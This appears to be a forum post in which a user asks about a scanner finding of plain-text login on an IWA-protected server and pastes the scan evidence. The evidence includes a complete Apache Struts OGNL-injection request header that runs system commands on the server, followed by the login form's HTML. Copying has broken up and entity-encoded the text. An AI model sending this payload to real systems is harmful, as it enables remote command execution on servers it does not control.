Is there a way to fix this? The server automatically redirects to HTTPS when the initial web connection is made, but apparently when the IWA login dialog comes up it just uses HTTP? Is there a setting we need to change, or is this a deeper problem?

This is what the scan results say:

The Web server uses plain-text form based authentication. A web page exists on the target host which uses an HTML login form. This data is sent from the client to the server in plain-text.

GET /servlet/ HTTP/1.0 Host: {ip address removed} Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0 Content-Type: %{(#nike='multipart/form-data& apos;).(#dm=@ognl.OgnlContext@DEFAULT_MEMB ER_ACCESS).(#_memberAccess?(#_memberAcces s=#dm):((#container=#context['com.opensymp hony.xwork2.ActionContext.container']).(#ognl Util=#container.getInstance(@com.opensymphony.xw ork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPa ckageNames().clear()).(#ognlUtil.getExcludedClasses ().clear()).(#context.setMemberAccess(#dm)))).(#cmd linux='ifconfig').(#cmdwin='ipconfi g').(#iswin=(@java.lang.System@getProperty( 'os.name').toLowerCase().contains(&ap os;win'))).(#cmds=(#iswin?{'cmd.exe&ap os;,'/c',#cmdwin}:{'/bin/bash&apos;,'-c',#cmdlinux})).(#p=new java.lang.Pro cessBuilder(#cmds)).(#p.redirectErrorStream(true)).(# process=#p.start()).(#ros=(@org.apache.struts2.Servl etActionContext@getResponse().getOutputStream())) .(@org.apache.commons.io.IOUtils@copy(#process.g etInputStream(),#ros)).(#ros.flush())} <form name="LogonForm" method=&qu ot;post" action="./Logon.aspx?ReturnUrl= %2fservlet%2f" id="LogonForm" styl e=" width:330px;" autocomplete="off "> <input type="hidden" name="__VI EWSTATE" id="__VIEWSTATE" val ue="/wEPDwUJMzU4MzUwNDk4D2QWBgICD 2QWAgICDw9kFgIeCm9ua2V5cHJlc3MFGktleXByZX NzQ2hlY2soJ05VTUxFVFVORCcpZAIDDxYCHgRUZ Xh0BS1BcHBlb24gUG93ZXJTZXJ2ZXIgMjAyMCZuY nNwQnVpbGQmbmJzcDIzMjMuMDBkAgUPFgIeCWl ubmVyaHRtbGVkZFv1uIy24hgqz6b76aLqjSBWnmXy 5Z8+sia4CcFL859T" /> <input type="hidden" name="__VI EWSTATEGENERATOR" id="__VIEWSTA TEGENERATOR" value="79179283" /> <div class="input-infor"> <label> <!--<bean:message key="text.common.user name" />--> &nbsp;&nbsp;<span id="lblUser&qu ot;>User name</span>: </label> <!--<html:text property="username" /& gt;--> <input name="username" type="text" maxlength="30" id="userna me" onkeypress="KeypressCheck(& #39;NUMLETUND&#39;)" /> </div> <div class="input-infor"> <label> <!--<bean:message key="text.lable.passwor d" />--> &nbsp;&nbsp;<span id="lblPasswor d">Password</span>: </label> <!--<html:password property="password&qu ot; />--> <input name="password" type="pa ssword" id="password" /> </div> <div class="submit-infor"> <span class="submitSpan"> <!--<html:submit styleClass="button"& gt; <bean:message key="text.button.logon" /> </html:submit> --> <input type="submit" name="btnS ubmit" value="Logon" id="btnS ubmit" class="button" />